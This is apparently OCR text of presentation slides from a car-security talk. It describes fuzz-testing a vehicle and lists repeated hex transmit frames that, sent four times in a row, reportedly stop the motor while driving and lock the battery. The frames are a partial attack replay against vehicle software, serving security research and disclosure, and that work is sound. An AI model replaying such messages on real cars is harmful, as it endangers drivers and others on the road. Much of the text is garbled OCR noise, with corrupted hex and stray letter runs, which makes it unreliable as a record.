Tx:44 OF A5 7B 13 CE 7E E7 6F 22 21 2D 7B A5 4E 83 58 9F D5 57 68 DC 03 18 01 77 97 DA A8 DO ED 75 3E
38 Tx:45 78 CA 70 00 77 64 D8 B5 88 91 79 47 48 02 99 39 8A D4 69 FD 01 B9 53 53 B1 06 F5 84 7F 4C 83 F6

For a certain car model, the FUZZ tool is

wwwww
s W NP O

used for actual testing, and the study of log

w W
- o

(€ INE, IS, INE, IS, G, IS N ]

files shows that:

39 Tx:46 8F 3C 13 E9 59 C3 85 BB D6 E6 08 42 4C 1C 81 20 1C 05 2B E7 ED 6A 4A DA 7A 9F BO 08 4E 6C EO CB
40 Tx:47 22 7C 71 OE F1 22 D5 OB E8 62 3F CB CA EC 4A 16 8B 8C OA 03 83 98 82 5C 27 60 F5 BC 4D E6 5E B6

41  Tx:48 76 15 EE 6B F4 79 DA Bl 91 C7 88 F5 99 1B 76 9D 3D 4F B8 01 FD D4 FE C4 35 E9 6D 49 87 52 56 _29

) ) 42 Tx{3D 24 90 E2 C6 9A 99 FA 58 01 BE F4 81 B9 34 4C B8 8A A7 3D F1 1B CC CB A0 FC 30 29 42 9E D2 EC 73|

Send four times in a row 43  Tx:3E 58 EC 24 BD 2F E2 E9 FO E6 FD 8A B4 OE 83 2E 1A FB D8 79 AF D8 30 1D BS 43 79 4F 26 A4 7D DO 84
44 Tx:3F 3A 31 24 73 EC 08 AB CO 88 DO 58 95 DO CA FO 66 2D 87 23 FO E3 17 3B 88 B3 16 74 88 FD F6 1B 93

3D 24 90 E2 C6 9A 99 45 Tx:40 02 F7 FD E6 6D CB 66 8E A9 22 A5 6A 15 FC A8 19 80 4C E5 65 86 B6 D3 54 5C 78 8F 2C C9 89 44 0D
----- 46 Tx:41 74 98 C5 9C 07 BC 74 6E 10 9D 7C 96 9F 2F BO CO 08 OE 55 66 64 38 CC 72 06 31 16 DC BD 24 D8 26

47 Tx:42 67 D6 A2 F4 67 F1 04 DC 74 86 D1 26 DC 1E F6 21 21 6E 00 59 CE 8E 6C 4A 0C 96 B3 5D 90 5F AA 78

>
[ee]

Tx:43 41 6F 1C 7E D5 10 22 E3 92 AB 54 2C B8 6D CA 41 40 FA 69 15 8C 08 6D 6F 18 F2 35 EO DO 5C 26 CB
Tx:44 OF A5 7B 13 CE 7E E7 6F 22 21 2D 7B A5 4E 83 58 9F D5 57 68 DC 03 18 01 77 97 DA A8 DO ED 75 3E
Tx:45 78 CA 70 00 77 64 D8 B5 88 91 79 47 48 02 99 39 8A D4 69 FD 01 B9 53 53 B1 06 F5 84 7F 4C 83 F6
Tx:46 8F 3C 13 E9 59 C3 85 BB D6 E6 08 42 4C 1C 81 20 1C 05 2B E7 ED 6A 4A DA 7A 9F BO 08 4E 6C EO CB
Tx:47 22 7C 71 OE F1 22 D5 OB E8 62 3F CB CA EC 4A 16 8B 8C OA 03 83 98 82 5C 27 60 F5 BC 4D E6 5E B6
Tx:48 76 15 EE 6B F4 79 DA B1 91 C7 88 F5 99 1B 76 9D 3D 4F B8 01 FD D4 FE C4 35 E9 6D 49 87 52 56 29
Tx{3D 24 90 E2 C6 9A 99 FA 58 01 BE F4 81 B9 34 4C B8 8A A7 3D F1 1B CC CB A0 FC 30 29 42 9E D2 EC 73]
Tx:3E 58 EC 24 BD 2F E2 E9 FO E6c FD 8A B4 9E 83 2E 1A FB D8 79 AF D8 30 1D B8 43 79 4F 26 A4 7D DO 84
Tx:3F 3A 31 24 73 EC 08 AB CO 88 DO 58 95 DO CA FO 66 2D 87 23 FO E3 17 3B 88 B3 16 74 88 FD F6 1B 93
Tx:40 02 F7 FD E6 6D CB 66 8E A9 22 A5 6A 15 FC A8 19 80 4C E5 65 86 B6 D3 54 5C 78 8F 2C C9 89 44 0D
Tx:41 74 98 C5 9C 07 BC 74 6E 10 9D 7C 96 9F 2F BO CO 08 OE 55 66 64 38 CC 72 06 31 16 DC BD 24 D8 26
Tx:42 67 D6 A2 F4 67 F1 04 DC 74 86 D1 26 DC 1E F6 21 21 6E 00 59 CE 8E 6C 4A 0C 96 B3 5D 90 5F AA 78
Tx:43 41 6F 1C 7E D5 10 22 E3 92 AB 54 2C B8 6D CA 41 40 FA 69 15 8C 08 6D 6F 18 F2 35 EO DO 5C 26 CB
Tx:44 OF A5 7B 13 CE 7E E7 6F 22 21 2D 7B A5 4E 83 58 9F D5 57 68 DC 03 18 01 77 97 DA A8 DO ED 75 3E
Tx:45 78 CA 70 00 77 64 D8 B5 88 91 79 47 48 02 99 39 8A D4 69 FD 01 B9 53 53 Bl 06 F5 84 7F 4C 83 F6
Tx:46 8F 3C 13 E9 59 C3 85 BB D6 E6 08 42 4C 1C 81 20 1C 05 2B E7 ED 6A 4A DA 7A 9F BO 08 4E 6C EO CB
Tx:47 22 7C 71 OE F1 22 D5 OB E8 62 3F CB CA EC 4A 16 8B 8C OA 03 83 98 82 5C 27 60 F5 BC 4D E6 5E B6
Tx:48 76 15 EE 6B F4 79 DA B1 91 C7 88 F5 99 1B 76 9D 3D 4F B8 01 FD D4 FE C4 35 E9 6D 49 87 52 56 29
Tx{3D 24 90 E2 C6 9A 99 FA 58 01 BE F4 81 B9 34 4C B8 8A A7 3D F1 1B CC CB A0 FC 30 29 42 9E D2 EC 73|
Tx:3E 58 EC 24 BD 2F E2 E9 FO E6 FD 8A B4 9E 83 2E 1A FB D8 79 AF D8 30 1D B8 43 79 4F 26 A4 7D DO 84
Tx:3F 3A 31 24 73 EC 08 AB CO 88 DO 58 95 DO CA FO 66 2D 87 23 FO E3 17 3B 88 B3 16 74 88 FD F6 1B 93

AN AN TP T M- AT AN A - AT AN AN AT A AF TN A0 A0 ON AN TEC AT - T/ TmA T A T/ IO AT AA AN AN AA AT

After the message is sent, the motor

suddenly stops while the car is driving, and

the battery locks without power, making it

impossible to drive.

N o WN PO W

o

Attackers use similar malicious messages,

which are extremely dangerous to driving.

N o WN PR OV

T S T S S S S St St S S S T N > S S St S S S S S T O Y SN SN SNt SNt SN N SN SN

G IS RS, IE, NS, N E, IS, IS, I, IS, BE, R, RS, BE, R, RS, I, I, IS BE, IE, IS, B E, INE, S, R, IS, IE, I E, IS RC, I, IS, B, I, NS, I E, N, |

WG IS IS, INE, S, I, IS, IS, IS, IS, BE, IS, IS, RS, R, IS, I, I, NS BE, BE, NS, I, BE, S, I, INE, N, E, NS

T e i e
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>

\
3



Thank you, thank you POC, thank you ZEEKR.



